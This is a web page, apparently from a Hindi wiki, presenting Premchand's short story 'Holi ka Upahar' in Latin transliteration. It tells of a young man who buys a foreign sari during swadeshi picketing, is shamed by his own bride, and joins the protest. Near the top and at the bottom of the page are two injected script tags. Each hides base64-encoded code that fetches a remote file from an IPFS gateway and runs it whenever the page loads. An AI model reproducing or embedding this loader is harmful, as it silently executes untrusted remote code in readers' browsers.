होली का उपहार- प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maikoolal amarakant ke ghar shataranj khelane aye, to dekha, vah kahian bahar jane ki taiyari kar rahe haian. poochha-kahian bahar ki taiyari kar rahe ho kya bhaee? phurasat ho, to ao, aj do-char bajiyaan ho jaean.

amarakant ne sandook mean aeena-kanghi rakhate hue kaha-nahian bhaee, aj to bilakul phurasat nahian hai. kal jara sasural ja raha hooan. saman-aman thik kar raha hooan.

maikoo-to aj hi se kya taiyari karane lage? char qadam to haian. shayad pahali bar ja rahe ho?

‘amar-haan yar, abhi ek bar bhi nahian gaya. meri ichchha to abhi jane ko n thi; par sasuraji agrah kar rahe haian.

maikoo-to kal sham ko uthana aur chal dena. adh ghante mean to pahuanch jaoge.

amar-mere hriday mean to abhi se jane kaisi dhadaqan ho rahi hai. abhi tak to kalpana mean patni-milan ka anand leta tha. ab vah kalpana pratyaksh huee jati hai. kalpana sundar hoti hai, pratyaksh kya hoga, kaun jane.

maikoo-to koee saugat le li hai? khali hath n jana, nahian muanh hi sidha n hoga. amarakant ne koee saugat n liya tha. is kala mean abhi abhyast n hue the.

maikoo bola-to ab le lo, bhale adami! pahali bar ja rahe ho, bhala vah dil mean kya kaheangi?

amar-to kya chiz le jaooan? mujhe to isaka khyal hi nahian aya. koee aisi chiz batao, jo kam kharch aur balanashin ho; kyoanki ghar bhi rupaye bhejane haian, dada ne rupaye maange haian.

maikoo maan-bap se alag rahata tha. vyangy karake bola-jab dada ne rupaye maange haian, to bhala kaise tal sakate ho! dada ka rupaye maangana koee mamooli bat to hai nahian?

amarakant ne vyangy n samajhakar kaha-haan isi vajah se to maianne holi ke lie kap de bhi nahian banavaye. magar jab koee saugat le jana bhi zaroori hai, to kuchh-n-kuchh lena hi p dega. halake damoan ki koee chiz batalao.

donoan mitroan mean vichar-vinimay hone laga. vishay b de hi mahatv ka tha. usi adhar par bhavi dampaty-jivan sukhamay ya isake pratikool ho sakata tha. pahale din billi ko marana agar jivan par sthayi prabhav dal sakata hai, to pahala upahar kya kam mahatv ka vishay hai? der tak bahas hoti rahi; par koee nishchay n ho saka.

usi vakt ek parasi mahila ek naye phaishan ki sa di pahane hue motar par nikal gayi. maikoolal ne kaha-agar aisi ek sa di le lo to vah zaroor khush ho jaean. kitana soophiyana rang hai. aur vaza kitani nirali! meri aankhoan mean to jaise bas gayi. hashim ki dookan se le lo. 25) mean a jaegi.

amarakant bhi us sa di par mugdh ho raha tha. vadhoo yah sa di dekhakar kitani prasann hogi aur usake gore rang yah par kitani khilegi, vah isi kalpana mean magn tha. bola-haan yar, pasand to mujhe bhi hai; lekin hashim ki dookan par to piketiang ho rahi hai.

‘to hone do. kharidane vale kharidate hi haian, apani ichchha hai, jo chiz chahate haian, kharidate haian, kisi ke baba ka sajha hai.’

amarakant ne kshama-prarthana ke bhav se kaha-yah to saty hai; lekin mere lie svayansevakoan ke bich se dookan mean jana sambhav nahian hai. phir tamashaiyoan ki haradam bhi d bhi to lagi rahati hai.

maikoo ne manoan usaki kayarata par daya karake kaha-to pichhe ke dvar se chale jana. vahaan piketiang nahian hoti.

‘kisi deshi dookan par n mil jaegi?’

‘hashim ki dookan ke siva aur kahian n milegi.’

2

sandhya ho gayi thi. aminabad mean akarshan ka uday ho gaya tha. soory ki pratibha vidyut-prakash ke bulabuloan mean apani smriti chho d gayi thi.

amarakant dabe paanv hashim ki dookan ke samane pahuancha. svayansevakoan ka dharana bhi tha aur tamashaiyoan ki bhi d bhi. usane do-tin bar andar jane ke lie kaleja mazaboot kiya, par phutapath tak jate-jate himmat ne javab de diya.

magar sa di lena zaroori tha. vah usaki aankhoan mean khub gayi thi. vah usake lie pagal ho raha tha.

akhir usane pichhava de ke dvar se jane ka nishchay kiya. jakar dekha, abhi tak vahaan koee valantiyar n tha. jaldi se ek sapate mean bhitar chala gaya aur bis-pachis minat mean usi namoone ki ek sa di lekar phir usi dvar par aya; par itani hi der mean paristhiti badal chuki thi. tin svayansevak a pahuanche the. amarakant ek minat tak dvar par duvidhe mean kh da raha. phir tir ki tarah nikal bhaga aur andhadhundh bhagata chala gaya. durbhagy ki bat! ek budhiy़a lathi tekati huee chali a rahi thi. amarakant usase takara gaya. budhiy़a gir p di aur lagi galiyaan dene-aankhoan mean charbi chha gayi hai kya? dekhakar nahian chalate? yah javani dhai jaegi ek din.

amarakant ke paanv age n ja sake. budhiy़a ko uthaya aur usase kshama maang rahe the ki tinoan svayansevakoan ne pichhe se akar unhean gher liya. ek svayansevak ne sa di ke paiket par hath rakhate hue kaha-billati kap da le jae ka hukm nahian na. bulait hai, to sunat nahian hau.

doosara bola-ap to aise bhage, jaise koee chor bhage?

tisara-hajjaran manee pakar-pakari ke jehal mean bhara jat ahaian, desh mean ag lagi hai, aur inaka man billati mal se nahian bhara.

amarakant ne paiket ko donoan hathoan se mazaboot karake kaha-tum log mujhe jane doge ya nahian.

pahale svayansevak ne paiket par hath badhate hue kaha-jae kasan deee. billati kap da leke tum yahaan se kabauan nahian jay sakat hau.

amarakant ne paiket ko ek jhatake se chhu dakar kaha-tum mujhe hargij nahian rok sakate.

unhoanne qadam age badhaya, magar do svayansevak turant usake samane let gaye. ab bechare b di mushkil mean phanse. jis vipatti se bachana chahate the, vah jabaradasti gale p d gayi. ek minat mean bisoan adami jama ho gaye. charoan taraph se un tippaniyaan hone lagian.

‘koee jantulamain maloom hote haian.’

‘yah log apane ko shikshit kahate haian. chhi:! is dookan par se roj das-paanch adami giraphtar hote haian; par apako isaki kya paravah!’

‘kap da chhin lo aur kah do, jakar pulis mean rapat karean.’

‘bechare bediy़aan-si pahane kh de the. kaise gala chhoote, isaka koee upay n soojhata tha. maikoolal par krodh a raha tha ki usi ne yah rog unake sir madha. unhean to kisi saugat ki fikr n thi. aye vahaan se ki koee saugat le lo.

kuchh der tak log tippaniyaan hi karate rahe, phir chhin-jhapat shuroo huee. kisi ne sir se topi u da di. usaki taraph lapake, to ek ne sa di ka paiket hath se chhin liya. phir vah hathoan-hath gayab ho gayi.

amarakant ne bigadaqar kaha-maian pulis mean riport karata hooan.

ek adami ne kaha-haan-haan, zaroor jao aur ham sabhi ko phaansi chadhava do!

sahasa ek yuvati khaddar ki sa di pahane, ek thaila lie a nikali. yahaan yah hu dadang dekhakar boli-kya muamala hai? tum log kyoan is bhale adami ko dik kar rahe ho?

amarakant ki jan mean jan ayi. usake pas jakar phariyad karane lage-ye log mere kap de chhinakar bhag gaye haian aur unhean gayab kar diya. maian ise daka kahata hooan, yah chori hai. ise maian n satyagrah kahata hooan, n desh prem.

yuvati ne dilasa diya-ghab daie nahian! apake kap de mil jaeange hoange to inhian logoan ke pas! kaise kap de the?

ek svayansevak bola-bahanaji, inhoanne hashim ki dookan se kap de liye haian.

yuvati-kisi ki dookan se liye hoan, tumhean unake hath se kap da chhinane ka koee adhikar nahian hai. apake kap de vapas la do. kisake pas haian?

ek kshan mean amarakant ki sa di jaise hathoanhath gayi thi, vaise hi hathoanhath vapas a gayi. jara der mean bhi d bhi gayab ho gayi. svayansevak bhi chale gaye. amarakant ne yuvati ko dhanyavad dete hue kaha-ap is samay n ayi hotian to in logoan ne dhoti to gayab kar hi di thi, shayad meri khabar bhi lete.

yuvati ne saral bhatrsana ke bhav se kaha-jan sampatti ka lihaz sabhi ko karana p data hai; magar apane is dookan se kap de liye hi kyoan? jab ap dekh rahe haian ki vahaan hamare oopar kitana atyachar ho raha hai, phir bhi ap n mane. jo log samajhakar bhi nahian samajhate, unhean kaise koee samajhaye!

amarakant is samay lajjit ho gaye aur apane mitroan mean baithakar ve jo svechchha ke rag alapa karate the, vah bhool gaye. bole-maianne apane lie nahian kharide haian, ek mahila ki faramaish thi; isalie majaboor tha.

‘un mahila ko apane samajhaya nahian?’

‘ap samajhatian, to shayad samajh patian, mere samajhane se to n samajhian.’

‘kabhi avasar mila, to zaroor samajhane ki cheshta karooangi. purushoan ki nakel mahilaoan ke hath mean hai! ap kis muhalle mean rahate haian?

‘sadaganj mean.’

‘shubhanam?’

‘amarakant.’

yuvati ne turant jara-sa ghooanghat khianch liya aur sir jhukakar sankoch aur sneh se sane svar mean boli-apaki patni to apake ghar mean nahian hai, usane faramaish kaise ki?

amarakant ne chakit hokar poochha-ap kis muhalle mean rahati haian?

‘ghasiyari mandi.’

‘apaka nam sukhadadevi to nahian hai?’

‘ho sakata hai, is nam ki kee striyaan haian.’

‘apake pita ka nam jvaladattaji hai?’

‘us nam ke bhi kee adami ho sakate haian.’

amarakant ne jeb se diyasalaee nikali aur vahian sukhada ke samane us sa di ko jala diya.

sukhada ne kaha-ap kal aeange?

amarakant ne avaruddh kanth se kaha-nahian sukhada, jab tak isaka prayashchit n kar looanga, n aooanga.

sukhada kuchh aur kahane ja rahi thi ki amarakant teji se qadam badhakar doosari taraph chale gaye.

3

aj holi hai; magar azadi ke matavaloan ke lie n holi hai n basant. hashim ki dookan par aj bhi piketiang ho rahi hai, aur tamashaee aj bhi jama haian. aj ke svayansevakoan mean amarakant bhi kh de piketiang kar rahe haian. unaki deh par khaddar ka kurata hai aur khaddar ki dhoti. hath mean tiranga jhanda liye haian.

ek svayansevak ne kaha-panidaroan ko yoan bat lagati hai. kal tum kya the, aj kya ho! sukhada devi n a jatian, to b di mushkil hoti.

amar ne kaha-maian unake lie tum logoan ko dhanyavad deta hooan. nahian maian aj yahaan n hota.

‘aj tumhean n ana chahie tha. sukhada bahan to kahati thian, maian aj unhean n jane dooangi.’

‘kal ke apaman ke bad ab maian unhean muanh dikhane yogy nahian hooan. jab vah ramani hokar itana kar sakati haian, to ham to har tarah ke kasht uthane ke lie bane hi haian. khasakar jab bal-bachchoan ka bhar sir par nahian hai.’

usi vakt pulis ki lari ayi, ek sab ianspektar utara aur svayansevakoan ke pas akar bola-maian tum logoan ko giraphtar karata hooan.

‘vande mataramh ’ ki dhvani huee. tamashaiyoan mean kuchh halachal huee. log do-do qadam aur age badh aye. svayansevakoan ne darshakoan ko pranam kiya aur muskarate hue lari mean ja baithe. amarakant sabase age the. lari chalana hi chahati thi, ki sukhada kisi taraph se dau di huee a gayi. usake hath mean ek pushpamala thi, lari ka dvar khula tha. usane oopar chadhaqar vah amarakant ke gale mean dal di. aankhoan se sneh aur garv ki do booandean tapak p dian. lari chali gayi. yahi holi thi, yahi holi ka anand-milan tha.

usi vakt sukhada dookan par kh di hokar boli-vilayati kap de kharidana aur pahanana deshadroh hai!

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>